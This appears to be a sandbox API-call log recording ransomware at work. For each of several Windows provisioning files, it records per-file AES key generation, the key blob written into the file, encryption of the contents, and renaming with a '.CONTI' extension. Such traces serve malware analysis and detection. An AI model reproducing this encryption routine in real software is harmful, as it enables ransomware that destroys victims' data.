	[0109.829] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0109.829] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b41088 | out: phKey=0x6b41088*=0x6b7f0b8) returned 1
	[0109.829] CryptExportKey (in: hKey=0x6b7f0b8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4108c, pdwDataLen=0x433f9bc | out: pbData=0x6b4108c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0109.829] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\267__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20
	[0109.830] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\267__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0109.830] GetLastError () returned 0x0
	[0109.830] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=480) returned 1
	[0109.830] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x1e0
	[0109.830] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x224, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.830] SetEndOfFile (hFile=0x3ac) returned 1
	[0109.831] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.831] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.831] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b4108c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b4108c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0109.832] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.832] ReadFile (in: hFile=0x3ac, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x1e0, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x1e0, lpOverlapped=0x0) returned 1
	[0109.832] CryptEncrypt (in: hKey=0x6b7f0b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x1e0, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x1f0) returned 1
	[0109.833] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.833] WriteFile (in: hFile=0x3ac, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x1f0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x1f0, lpOverlapped=0x0) returned 1
	[0109.833] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.833] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b41080*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b41080*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0109.833] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.833] CloseHandle (hObject=0x3ac) returned 1
	[0109.833] GetProcessHeap () returned 0x1720000
	[0109.833] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.833] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml"
	[0109.833] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI"
	[0109.833] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\267__cellular_persimsettings_$(__iccid)_appid.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\267__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\267__cellular_persimsettings_$(__iccid)_appid.provxml.conti")) returned 1
	[0109.834] GetProcessHeap () returned 0x1720000
	[0109.834] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.834] CryptDestroyKey (hKey=0x6b7f0b8) returned 1
	[0109.834] GetProcessHeap () returned 0x1720000
	[0109.834] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17bcbc8 | out: hHeap=0x1720000) returned 1
	[0109.834] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0109.834] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b41518 | out: phKey=0x6b41518*=0x6b7f3b8) returned 1
	[0109.834] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b4151c, pdwDataLen=0x433f9bc | out: pbData=0x6b4151c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0109.835] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\268__connections_cellular_telcel gsm (mexico)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.847] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\268__connections_cellular_telcel gsm (mexico)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0109.852] GetLastError () returned 0x0
	[0109.852] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=705) returned 1
	[0109.852] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2c1
	[0109.857] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x233, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.857] SetEndOfFile (hFile=0x3ac) returned 1
	[0109.862] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.862] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.862] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b4151c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b4151c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0109.921] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.921] ReadFile (in: hFile=0x3ac, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x2c1, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x2c1, lpOverlapped=0x0) returned 1
	[0109.921] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2c1, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2d0) returned 1
	[0109.921] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.921] WriteFile (in: hFile=0x3ac, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x2d0, lpOverlapped=0x0) returned 1
	[0109.921] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.921] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b41510*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b41510*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0109.921] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.921] CloseHandle (hObject=0x3ac) returned 1
	[0109.921] GetProcessHeap () returned 0x1720000
	[0109.921] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.921] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml"
	[0109.922] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.922] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\268__connections_cellular_telcel gsm (mexico)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\268__Connections_Cellular_TELCEL GSM (Mexico)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\268__connections_cellular_telcel gsm (mexico)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.922] GetProcessHeap () returned 0x1720000
	[0109.922] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.922] CryptDestroyKey (hKey=0x6b7f3b8) returned 1
	[0109.922] GetProcessHeap () returned 0x1720000
	[0109.922] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b720e0 | out: hHeap=0x1720000) returned 1
	[0109.922] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0109.922] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b43e28 | out: phKey=0x6b43e28*=0x6b7f538) returned 1
	[0109.922] CryptExportKey (in: hKey=0x6b7f538, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b43e2c, pdwDataLen=0x433f9bc | out: pbData=0x6b43e2c*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0109.923] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\275__connections_cellular_vodacom mozambique (mozambique)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.923] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\275__connections_cellular_vodacom mozambique (mozambique)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0109.924] GetLastError () returned 0x0
	[0109.924] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=730) returned 1
	[0109.924] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2da
	[0109.924] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x22a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.924] SetEndOfFile (hFile=0x3ac) returned 1
	[0109.924] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.924] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.924] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b43e2c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b43e2c*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0109.926] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.926] ReadFile (in: hFile=0x3ac, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x2da, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x2da, lpOverlapped=0x0) returned 1
	[0109.926] CryptEncrypt (in: hKey=0x6b7f538, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2da, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2e0) returned 1
	[0109.926] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.926] WriteFile (in: hFile=0x3ac, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x2e0, lpOverlapped=0x0) returned 1
	[0109.926] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.926] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b43e20*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b43e20*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
	[0109.926] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.926] CloseHandle (hObject=0x3ac) returned 1
	[0109.926] GetProcessHeap () returned 0x1720000
	[0109.926] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6b5a068
	[0109.926] lstrcpyW (in: lpString1=0x6b5a068, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml"
	[0109.926] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml.CONTI"
	[0109.926] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\275__connections_cellular_vodacom mozambique (mozambique)_i0$(__mvid)@wap.provxml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\275__Connections_Cellular_Vodacom Mozambique (Mozambique)_i0$(__MVID)@WAP.provxml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\275__connections_cellular_vodacom mozambique (mozambique)_i0$(__mvid)@wap.provxml.conti")) returned 1
	[0109.927] GetProcessHeap () returned 0x1720000
	[0109.927] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6b5a068 | out: hHeap=0x1720000) returned 1
	[0109.927] CryptDestroyKey (hKey=0x6b7f538) returned 1
	[0109.927] GetProcessHeap () returned 0x1720000
	[0109.927] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c8648 | out: hHeap=0x1720000) returned 1
	[0109.927] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x433f9e4, lpCompletionKey=0x433f9e8, lpOverlapped=0x433f9f4) returned 1
	[0109.927] CryptGenKey (in: hProv=0x175ea88, Algid=0x6610, dwFlags=0x1, phKey=0x6b42be8 | out: phKey=0x6b42be8*=0x6b7f3b8) returned 1
	[0109.927] CryptExportKey (in: hKey=0x6b7f3b8, hExpKey=0x175dd70, dwBlobType=0x1, dwFlags=0x0, pbData=0x6b42bec, pdwDataLen=0x433f9bc | out: pbData=0x6b42bec*, pdwDataLen=0x433f9bc*=0x20c) returned 1
	[0109.928] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\276__connections_cellular_kpn-hi (netherlands)_i0$(__mvid)@wap.provxml")) returned 0x20
	[0109.928] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\276__Connections_Cellular_KPN-Hi (Netherlands)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\276__connections_cellular_kpn-hi (netherlands)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac
	[0109.928] GetLastError () returned 0x0
	[0109.928] GetFileSizeEx (in: hFile=0x3ac, lpFileSize=0x433f968 | out: lpFileSize=0x433f968*=727) returned 1
	[0109.929] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x2d7
	[0109.929] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x22d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.929] SetEndOfFile (hFile=0x3ac) returned 1
	[0109.929] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.929] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.929] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b42bec*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x433f974, lpOverlapped=0x0 | out: lpBuffer=0x6b42bec*, lpNumberOfBytesWritten=0x433f974*=0x20c, lpOverlapped=0x0) returned 1
	[0109.931] SetFilePointer (in: hFile=0x3ac, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0109.931] ReadFile (in: hFile=0x3ac, lpBuffer=0xb6e0000, nNumberOfBytesToRead=0x2d7, lpNumberOfBytesRead=0x433f994, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesRead=0x433f994*=0x2d7, lpOverlapped=0x0) returned 1
	[0109.931] CryptEncrypt (in: hKey=0x6b7f3b8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2d7, dwBufLen=0x500000 | out: pbData=0xb6e0000*, pdwDataLen=0x433f98c*=0x2e0) returned 1
	[0109.931] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0109.931] WriteFile (in: hFile=0x3ac, lpBuffer=0xb6e0000*, nNumberOfBytesToWrite=0x2e0, lpNumberOfBytesWritten=0x433f9a8, lpOverlapped=0x0 | out: lpBuffer=0xb6e0000*, lpNumberOfBytesWritten=0x433f9a8*=0x2e0, lpOverlapped=0x0) returned 1
	[0109.931] SetFilePointerEx (in: hFile=0x3ac, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0109.931] WriteFile (in: hFile=0x3ac, lpBuffer=0x6b42be0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x433f9c0, lpOverlapped=0x0 | out: lpBuffer=0x6b42be0*, lpNumberOfBytesWritten=0x433f9c0*=0x8, lpOverlapped=0x0) returned 1
